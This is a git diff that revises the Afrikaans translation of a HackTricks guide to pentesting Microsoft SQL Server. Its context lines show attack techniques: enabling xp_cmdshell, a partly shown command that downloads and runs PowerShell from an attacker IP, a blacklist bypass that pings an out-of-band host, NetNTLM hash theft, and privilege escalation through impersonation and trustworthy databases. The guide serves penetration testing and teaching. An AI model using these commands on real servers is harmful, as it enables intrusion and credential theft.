diff --git a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
index 11af86174..459f689b5 100644
--- a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
+++ b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
@@ -2,15 +2,15 @@
-Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
+Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
+* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -26,7 +26,7 @@ Ander maniere om HackTricks te ondersteun:
Vanaf [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
-> **Microsoft SQL Server** is 'n **relasionele databasis**-bestuurstelsel wat deur Microsoft ontwikkel is. As 'n databasisbediener is dit 'n sagtewareproduk met die primêre funksie om data te stoor en op te haal soos versoek deur ander sagtewaretoepassings—wat óf op dieselfde rekenaar óf op 'n ander rekenaar oor 'n netwerk (insluitend die Internet) kan hardloop.\\
+> **Microsoft SQL Server** is 'n **relasionele databasis**-bestuurstelsel ontwikkel deur Microsoft. As 'n databasisbediener is dit 'n sagtewareproduk met die primêre funksie om data te stoor en op te haal soos versoek deur ander sagtewaretoepassings—wat óf op dieselfde rekenaar óf op 'n ander rekenaar oor 'n netwerk (insluitend die Internet) kan hardloop.\\
**Verstekpoort:** 1433
```
@@ -36,9 +36,9 @@ Vanaf [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
* **meesterdatabasis**: Hierdie databasis is noodsaaklik omdat dit alle stelselvlakbesonderhede vir 'n SQL Server-instantie vasvang.
* **msdb-databasis**: SQL Server Agent maak gebruik van hierdie databasis om skedulering vir waarskuwings en take te bestuur.
-* **modeldatabasis**: Tree op as 'n bloudruk vir elke nuwe databasis op die SQL Server-instantie, waar enige veranderings soos grootte, kolleksie, herstelmodel, en meer in nuutgeskepte databasisse weerspieël word.
+* **model-databasis**: Tree op as 'n bloudruk vir elke nuwe databasis op die SQL Server-instantie, waar enige veranderings soos grootte, kolleksie, herstelmodel, en meer in nuutgeskepte databasisse weerspieël word.
* **Hulpbron-databasis**: 'n Slegs-lees-databasis wat stelselvoorwerpe huisves wat met SQL Server kom. Hierdie voorwerpe, alhoewel fisies in die Hulpbron-databasis gestoor word, word logies voorgestel in die sys-skema van elke databasis.
-* **tempdb-databasis**: Dien as 'n tydelike stoorplek vir oorgangsvoorwerpe of tussentydse resultaatreeks.
+* **tempdb-databasis**: Diens as 'n tydelike stoorarea vir oorgangsvoorwerpe of tussentydse resultaatreeks.
## Opsomming
@@ -50,7 +50,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
msf> use auxiliary/scanner/mssql/mssql_ping
```
{% hint style="info" %}
-As jy **nie geloofsbriewe het nie** kan jy probeer om hulle te raai. Jy kan nmap of metasploit gebruik. Wees versigtig, jy kan rekeninge **blokkeer** as jy verskeie kere misluk om in te teken met 'n bestaande gebruikersnaam.
+As jy **nie geloofsbriewe het** nie, kan jy probeer om hulle te raai. Jy kan nmap of metasploit gebruik. Wees versigtig, jy kan rekeninge **blokkeer** as jy verskeie kere misluk om in te teken met 'n bestaande gebruikersnaam.
{% endhint %}
#### Metasploit (benodig geloofsbriewe)
@@ -104,7 +104,7 @@ sqsh -S -U .\\ -P -D
1> select 1;
2> go
```
-#### Gewone Opsomming
+#### Algemene Opsomming
```sql
# Get version
select @@version;
@@ -152,14 +152,14 @@ SELECT * FROM sysusers
```
#### Kry Toestemmings
-1. **Beveiligbaar:** Gedefinieer as die bronne wat deur SQL Server bestuur word vir toegangsbeheer. Hierdie word gekategoriseer in:
-* **Bediener** - Voorbeelde sluit databasisse, aanmeldings, eindpunte, beskikbaarheidsgroepe, en bedienersrolle in.
-* **Databasis** - Voorbeelde dek databasisrolle, aansoekrolle, skema, sertifikate, volledige tekskatalogusse, en gebruikers.
+1. **Beveiligbaar:** Gedefinieer as die hulpbronne wat deur SQL Server bestuur word vir toegangsbeheer. Hierdie word gekategoriseer in:
+* **Bediener** - Voorbeelde sluit databasisse, aanmeldings, eindpunte, beskikbaarheidsgroepe en bedienersrolle in.
+* **Databasis** - Voorbeelde dek databasisrolle, toepassingsrolle, skema, sertifikate, volledige tekskatalogusse en gebruikers.
* **Skema** - Sluit tabelle, aansigte, prosedures, funksies, sinonieme, ens. in.
-2. **Toestemming:** Verbonde met SQL Server beveiligbares, toestemmings soos ALTER, BEHEER, en SKEP kan aan 'n hoof toegestaan word. Bestuur van toestemmings vind op twee vlakke plaas:
+2. **Toestemming:** Verbonde met SQL Server beveiligbares, toestemmings soos ALTER, BEHEER en SKEP kan aan 'n hoofdeel gegee word. Bestuur van toestemmings vind op twee vlakke plaas:
* **Bedienervlak** deur gebruik van aanmeldings
* **Databasisvlak** deur gebruik van gebruikers
-3. **Hoof:** Hierdie term verwys na die entiteit wat toestemming verleen word tot 'n beveiligbare. Hoofsaaklik sluit hoofde aanmeldings en databasisgebruikers in. Die beheer oor toegang tot beveiligbares word uitgeoefen deur die verlening of ontkenning van toestemmings of deur aanmeldings en gebruikers in rolle op te neem wat toegangsregte het.
+3. **Hoofdeel:** Hierdie term verwys na die entiteit wat toestemming verleen word tot 'n beveiligbare. Hoofdele sluit hoofde en databasisgebruikers hoofsaaklik in. Die beheer oor toegang tot beveiligbares word uitgeoefen deur die verlening of ontkenning van toestemmings of deur die insluiting van aanmeldings en gebruikers in rolle toegerus met toegangsregte.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@@ -207,7 +207,7 @@ sp_configure 'xp_cmdshell', '1'
RECONFIGURE
#One liner
-sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
+EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
@@ -217,7 +217,7 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
```
-### Steel NetNTLM-hash / Relay-aanval
+### Steel NetNTLM-hash / Oordraag aanval
Jy moet 'n **SMB-bediener** begin om die hash wat in die verifikasie gebruik word, vas te vang (`impacket-smbserver` of `responder` byvoorbeeld).
```bash
@@ -293,7 +293,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
```
### **RCE/Lees lêers wat skripte uitvoer (Python en R)**
-MSSQL kan jou toelaat om **skripte in Python en/of R** uit te voer. Hierdie kode sal uitgevoer word deur 'n **verskillende gebruiker** as die een wat **xp\_cmdshell** gebruik om bevele uit te voer.
+MSSQL kan jou toelaat om **skripte in Python en/of R** uit te voer. Hierdie kodes sal uitgevoer word deur 'n **verskillende gebruiker** as die een wat **xp\_cmdshell** gebruik om bevele uit te voer.
Voorbeeld van 'n poging om 'n **'R'** _"Hellow World!"_ **wat nie werk nie** uit te voer:
@@ -315,7 +315,7 @@ GO
```
### Lees Register
-Microsoft SQL Server bied **verskeie uitgebreide gestoorde prosedures** wat jou toelaat om te interakteer met nie net die netwerk nie, maar ook die lêersisteem en selfs die [**Windows Register**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:**
+Microsoft SQL Server bied **verskeie uitgebreide gestoorde prosedures** wat jou toelaat om te interakteer met nie net die netwerk nie, maar ook die lêersisteem en selfs die [**Windows Register**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
| **Gewone** | **Instansie-Bewus** |
| ---------------------------- | -------------------------------------- |
@@ -348,13 +348,13 @@ Dit is moontlik om **'n .NET dll binne MSSQL te laai met aangepaste funksies**.
### Ander maniere vir RCE
-Daar is ander metodes om opdrag uit te voer, soos die byvoeging van [uitgebreide gestoorde prosedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Versamelings](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Take](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), en [eksterne skripte](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
+Daar is ander metodes om opdraguitvoering te kry, soos die byvoeging van [uitgebreide gestoorde prosedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Versamelings](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Take](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), en [eksterne skripte](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
## MSSQL Voorregverhoging
### Van db\_owner tot sysadmin
-As 'n **gewone gebruiker** die rol **`db_owner`** oor die **databasis wat deur 'n admin besit word** (soos **`sa`**) gegee word en daardie databasis is ingestel as **`trustworthy`**, kan daardie gebruiker hierdie voorregte misbruik vir **voorregverhoging** omdat **gestoorde prosedures** wat daar geskep is, kan **uitgevoer** as die eienaar (**admin**).
+As 'n **gewone gebruiker** die rol **`db_owner`** oor die **databasis wat deur 'n admin** gebruiker besit word (soos **`sa`**) gegee word en daardie databasis is ingestel as **`trustworthy`**, kan daardie gebruiker hierdie voorregte misbruik om **voorregverhoging** te doen omdat **gestoorde prosedures** wat daar geskep is, as die eienaar (**admin**) kan **uitgevoer** word.
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@@ -416,10 +416,10 @@ SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
```
{% hint style="info" %}
-As jy 'n gebruiker kan impersoneer, selfs as hy nie 'n sysadmin is nie, moet jy nagaan of die gebruiker toegang het tot ander databasisse of gekoppelde bedieners.
-
-Merk op dat sodra jy sysadmin is, kan jy enige ander een impersoneer:
+As jy 'n gebruiker kan impersoneer, selfs as hy nie 'n sysadmin is nie, moet jy nagaan **of die gebruiker toegang het** tot ander **databasisse** of gekoppelde bedieners.
{% endhint %}
+
+Merk op dat sodra jy 'n sysadmin is, kan jy enige ander een impersoneer:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
@@ -433,7 +433,7 @@ Jy kan hierdie aanval uitvoer met 'n **metasploit** module:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
-of met 'n **PS** skrips:
+of met 'n **PS** skrip:
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
@@ -455,13 +455,13 @@ Nadat jou regte geverifieer is, moet jy drie dinge konfigureer, naamlik:
2. Voeg 'n Beginparameter by, in hierdie geval sal 'n spoorvlag bygevoeg word, naamlik -T7806.
3. Skakel afstandbeheerverbinding in.
-Om hierdie konfigurasies te outomatiseer, het [hierdie bewaarplek](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die benodigde skripte. Benewens 'n Powershell-skrip vir elke stap van die konfigurasie, het die bewaarplek ook 'n volledige skrip wat die konfigurasietskripte en die uithaling en dekriptering van die wagwoorde kombineer.
+Om hierdie konfigurasies te outomatiseer, het [hierdie bewaarplek](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die benodigde skripte. Benewens 'n Powershell-skrips vir elke stap van die konfigurasie, het die bewaarplek ook 'n volledige skrips wat die konfigurasietskripte en die uithaling en dekriptering van die wagwoorde kombineer.
Vir verdere inligting, verwys na die volgende skakels oor hierdie aanval: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
-[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
+[Foutopsporing van die SQL Server Toegewyde Administrateurverbinding](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
-## Plaaslike Bevoorregte Eskalasie
+## Plaaslike Bevoorregtingseskalasie
Die gebruiker wat MSSQL-bediener hardloop, sal die bevoorregtingsteken **SeImpersonatePrivilege** geaktiveer hê.\
Jy sal waarskynlik kan **eskaleer na Administrateur** deur een van hierdie 2 bladsye te volg:
@@ -492,7 +492,7 @@ Jy sal waarskynlik kan **eskaleer na Administrateur** deur een van hierdie 2 bla
{% embed url="https://discord.gg/tryhardsecurity" %}
-***
+***
## HackTricks Outomatiese Opdragte
```
@@ -560,6 +560,6 @@ Ander maniere om HackTricks te ondersteun:
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
+* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.